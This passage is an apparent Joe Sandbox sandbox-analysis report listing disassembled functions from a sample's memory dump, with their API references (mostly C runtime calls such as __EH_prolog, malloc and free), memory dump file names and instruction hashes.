                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$ExceptionThrow
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2366012087-0
                                                                                                                                                                                                                                                                    • Opcode ID: 28d0ae4969445f442044f95d5a13d90933d6038dfa8cac8a7f8c512f6144b27d
                                                                                                                                                                                                                                                                    • Instruction ID: 55184acd4d525ca41aeb821762d24196a65e69feaa40964cc8da4e21c986b95d
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 28d0ae4969445f442044f95d5a13d90933d6038dfa8cac8a7f8c512f6144b27d
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: BA515C71604249DFCB11CFA8C988BDEBBB4AF49304F14449EF44AD7241CB79AE85CB61
                                                                                                                                                                                                                                                                    Function 0040F89E Relevance: 1.6, APIs: 1, Instructions: 132COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 0040F8A3
                                                                                                                                                                                                                                                                      • Part of subcall function 0040209F: malloc.MSVCRT ref: 004020A5
                                                                                                                                                                                                                                                                      • Part of subcall function 0040209F: _CxxThrowException.MSVCRT(?,0042D020), ref: 004020BF
                                                                                                                                                                                                                                                                      • Part of subcall function 0040FA18: __EH_prolog.LIBCMT ref: 0040FA1D
                                                                                                                                                                                                                                                                      • Part of subcall function 00401AB2: __EH_prolog.LIBCMT ref: 00401AB7
                                                                                                                                                                                                                                                                      • Part of subcall function 004020C6: free.MSVCRT ref: 004020CA
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$ExceptionThrowfreemalloc
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2423332413-0
                                                                                                                                                                                                                                                                    • Opcode ID: abdae33ffbcc6bcad6d11ee92bb9db060dacb3330fd9e398d04ab7a2816a1011
                                                                                                                                                                                                                                                                    • Instruction ID: 79c19b1f3d1ac77dc24bf29cb489c5bd1a62397e9919c3cb5ce05a3df53e6b1c
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: abdae33ffbcc6bcad6d11ee92bb9db060dacb3330fd9e398d04ab7a2816a1011
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C851AE71D0020AEFCB20EFA5C484A9EBBB4BF04314F14817FE555A76E2CB78AA45CB54
                                                                                                                                                                                                                                                                    Function 004094B1 Relevance: 1.6, APIs: 1, Instructions: 127COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: 8ac4af00f57506c4e1f18583f8d20fd1b8165f576a3b45e6000e758fd71b29cd
                                                                                                                                                                                                                                                                    • Instruction ID: e9dc0e0d16af1847bb7b0605aba9d67d4dce4a2c8ffd67d7a557ff176b8449b2
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 8ac4af00f57506c4e1f18583f8d20fd1b8165f576a3b45e6000e758fd71b29cd
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 19516975A00606EFCB15CF65C9809ABBBB1FF49340B10496EE592AB792D335ED02CF94
                                                                                                                                                                                                                                                                    Function 00417665 Relevance: 1.6, APIs: 1, Instructions: 116COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: c2904d0082e9bc05d160bb4cfd98b2be2c645962d99ea7b56422b98f45978926
                                                                                                                                                                                                                                                                    • Instruction ID: 9a6f33cf0bc56671aeca09314b137df23efe459317aa6ad26d45825914a30812
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c2904d0082e9bc05d160bb4cfd98b2be2c645962d99ea7b56422b98f45978926
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 67419D70A04645AFDB20CF64C484BAABBB1BF44360F148A6ED4A687691D378FD81CB54
                                                                                                                                                                                                                                                                    Function 0040DA98 Relevance: 1.6, APIs: 1, Instructions: 80COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: d0e724819a044fa0a7ff157e57947ec63a3bdf478685cf563f61954aea208417
                                                                                                                                                                                                                                                                    • Instruction ID: 7b0237e4f8662eb94e8a4b510041f3d7bb94a1ee6d6fd6ce4f7c41f5e9e713b6
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d0e724819a044fa0a7ff157e57947ec63a3bdf478685cf563f61954aea208417
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C7317E75D012199FDB20EFE1D985ADDBBB8BF08314F10412EE412B32D1DB786A09CB28
                                                                                                                                                                                                                                                                    Function 00413EA6 Relevance: 1.6, APIs: 1, Instructions: 72windowCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00413F35
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: MessageSend
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3850602802-0
                                                                                                                                                                                                                                                                    • Opcode ID: 32054418b127d52e5fef4d13b923931509f167b81285e0de9272b83d954dfba4
                                                                                                                                                                                                                                                                    • Instruction ID: f1bd6f72ddddcba69c5c1d7a3236dd8c58c5aab5b079db8aa22826ed849043ce
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 32054418b127d52e5fef4d13b923931509f167b81285e0de9272b83d954dfba4
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 45218E35700305AFDB20DF24C480BDBB7A6EF85356F10841AE99987340D775BD82CB59
                                                                                                                                                                                                                                                                    Function 0040B87D Relevance: 1.6, APIs: 1, Instructions: 58COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: b2b9a3b803dd6f073dcdba728b3ceda22d354cbc30b2ca7ed88ba5c9200deb4e
                                                                                                                                                                                                                                                                    • Instruction ID: 4a08529ebd7259b2f6d5ca84450745982e4f41ddd302c9a42c1d1eeb5675757e
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: b2b9a3b803dd6f073dcdba728b3ceda22d354cbc30b2ca7ed88ba5c9200deb4e
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4721AEB1A01B409FD761EB34C450B97BBA5FF84314F04886FD09A67252C734A945CB58
                                                                                                                                                                                                                                                                    Function 0041743F Relevance: 1.5, APIs: 1, Instructions: 36COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00417444
                                                                                                                                                                                                                                                                      • Part of subcall function 00417556: __EH_prolog.LIBCMT ref: 0041755B
                                                                                                                                                                                                                                                                      • Part of subcall function 00417347: __EH_prolog.LIBCMT ref: 0041734C
                                                                                                                                                                                                                                                                      • Part of subcall function 004020C6: free.MSVCRT ref: 004020CA
                                                                                                                                                                                                                                                                      • Part of subcall function 004174B8: __EH_prolog.LIBCMT ref: 004174BD
                                                                                                                                                                                                                                                                      • Part of subcall function 00417505: __EH_prolog.LIBCMT ref: 0041750A
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$free
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2654054672-0
                                                                                                                                                                                                                                                                    • Opcode ID: f4e2da85dae6f16484033113292bcd701bb2dca62eba5483ca20f9883f2121e8
                                                                                                                                                                                                                                                                    • Instruction ID: 364a34b90ed35570124f95bb196942fab30f125a78c1bfe3bfdaf91603318764
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f4e2da85dae6f16484033113292bcd701bb2dca62eba5483ca20f9883f2121e8
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 92F0D171918664DADB2AEF68D81679CBBF4AF04308F20425EE052636C1CBBC6A00866D
                                                                                                                                                                                                                                                                    Function 004173EE Relevance: 1.5, APIs: 1, Instructions: 34COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 004173F3
                                                                                                                                                                                                                                                                      • Part of subcall function 0041743F: __EH_prolog.LIBCMT ref: 00417444
                                                                                                                                                                                                                                                                      • Part of subcall function 004020C6: free.MSVCRT ref: 004020CA
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$free
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2654054672-0
                                                                                                                                                                                                                                                                    • Opcode ID: 12a1298b6b19bac86de3050f673b1836fff3deca755dfd61bd0d786dc08ecc1d
                                                                                                                                                                                                                                                                    • Instruction ID: 82adc8a0a214ab5ac0b036a49b2af61b75060a7a75b6fdf1d1610bdf12c9cbe2
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 12a1298b6b19bac86de3050f673b1836fff3deca755dfd61bd0d786dc08ecc1d
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 1FF0E272A042219BDB359B0AE84179AF7F8EF54324F10402FE10167342CBB89C00C698
                                                                                                                                                                                                                                                                    Function 00418258 Relevance: 1.5, APIs: 1, Instructions: 33COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: 6db0ab59aecc0b28812d5f08429433382f7906f95dcfc87f9b8cb374d73cdf9b
                                                                                                                                                                                                                                                                    • Instruction ID: b929702657206681c27d6672a2b9b9fba7eddf3b58bbb231f7dd1b8d60b7e48e
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6db0ab59aecc0b28812d5f08429433382f7906f95dcfc87f9b8cb374d73cdf9b
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C40128B1A01B50EFC325DFA8D5816DAFBE0AF15304F808D5FD49A53641DBB86608CB18
                                                                                                                                                                                                                                                                    Function 004153BC Relevance: 1.5, APIs: 1, Instructions: 30COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 004153C1
                                                                                                                                                                                                                                                                      • Part of subcall function 00426100: _beginthreadex.MSVCRT ref: 00426114
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog_beginthreadex
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 273140464-0
                                                                                                                                                                                                                                                                    • Opcode ID: 543172fba89217e6be3e2c0a5751736a572e1bafc86a58115bbab160fec40bff
                                                                                                                                                                                                                                                                    • Instruction ID: 79f9c35afd35ce3fdfab2e082268d8f915ccb4f26160189edae3687e3b5689a5
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 543172fba89217e6be3e2c0a5751736a572e1bafc86a58115bbab160fec40bff
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 13F08231A10039EBCB14AB55DC51BFEB768EF40399F01442BB812A3240CB7C9D04C7A8
                                                                                                                                                                                                                                                                    Function 0041609D Relevance: 1.5, APIs: 1, Instructions: 27COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 004160A2
                                                                                                                                                                                                                                                                      • Part of subcall function 00416114: __EH_prolog.LIBCMT ref: 00416119
                                                                                                                                                                                                                                                                      • Part of subcall function 00416114: ctype.LIBCPMT ref: 0041613D
                                                                                                                                                                                                                                                                      • Part of subcall function 004020C6: free.MSVCRT ref: 004020CA
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$ctypefree
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 519033232-0
                                                                                                                                                                                                                                                                    • Opcode ID: e268abe907303cd08e5097f1ad93fc98fa3f681d48d8f0b47cf3ce27204e559a
                                                                                                                                                                                                                                                                    • Instruction ID: 57fde3aeba642f82b90651782a4758b6c96740fb220b0d572e46cae4d7d66b67
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e268abe907303cd08e5097f1ad93fc98fa3f681d48d8f0b47cf3ce27204e559a
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5AF0E270A05220DBDB18EB74D80A7DDBBA4EF44314F10825EF066932C2CBB89A00CB54
                                                                                                                                                                                                                                                                    Function 00415FD8 Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00415FDD
                                                                                                                                                                                                                                                                      • Part of subcall function 00413449: __EH_prolog.LIBCMT ref: 0041344E
                                                                                                                                                                                                                                                                      • Part of subcall function 00413449: _CxxThrowException.MSVCRT(?,0042D058), ref: 004135C9
                                                                                                                                                                                                                                                                      • Part of subcall function 00413449: _CxxThrowException.MSVCRT(?,0042D058), ref: 004135EF
                                                                                                                                                                                                                                                                      • Part of subcall function 00413207: __EH_prolog.LIBCMT ref: 0041320C
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$ExceptionThrow
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2366012087-0
                                                                                                                                                                                                                                                                    • Opcode ID: 2305f89ff52d37286eb51e4a6ef4731ebd7c902e4f10129d1e484327743a9a7f
                                                                                                                                                                                                                                                                    • Instruction ID: dc03e1e37bd26309f308822a3ba663760d8a1570f32cd7e5d8de82c976c4fa32
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2305f89ff52d37286eb51e4a6ef4731ebd7c902e4f10129d1e484327743a9a7f
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 48F058B1A01694DEC311DFA9D4846CAFBE0FF18308F9184AFE45A97301C7B86A44CB69
                                                                                                                                                                                                                                                                    Function 00415F83 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00415F88
                                                                                                                                                                                                                                                                      • Part of subcall function 00415FD8: __EH_prolog.LIBCMT ref: 00415FDD
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: 143604a3c3726c6385e86a673f2fa26326e55ffb1458c15376cd95d490749602
                                                                                                                                                                                                                                                                    • Instruction ID: c925da6525ab189f4da64ae545db02016ca36508ef2d6614329dcff32db7fe92
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 143604a3c3726c6385e86a673f2fa26326e55ffb1458c15376cd95d490749602
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 86F08CB1A01620DEC710DF6AD4496C9FBF8EF90704F50819FE01993361DBF85A40CB64
                                                                                                                                                                                                                                                                    Function 0040E65A Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
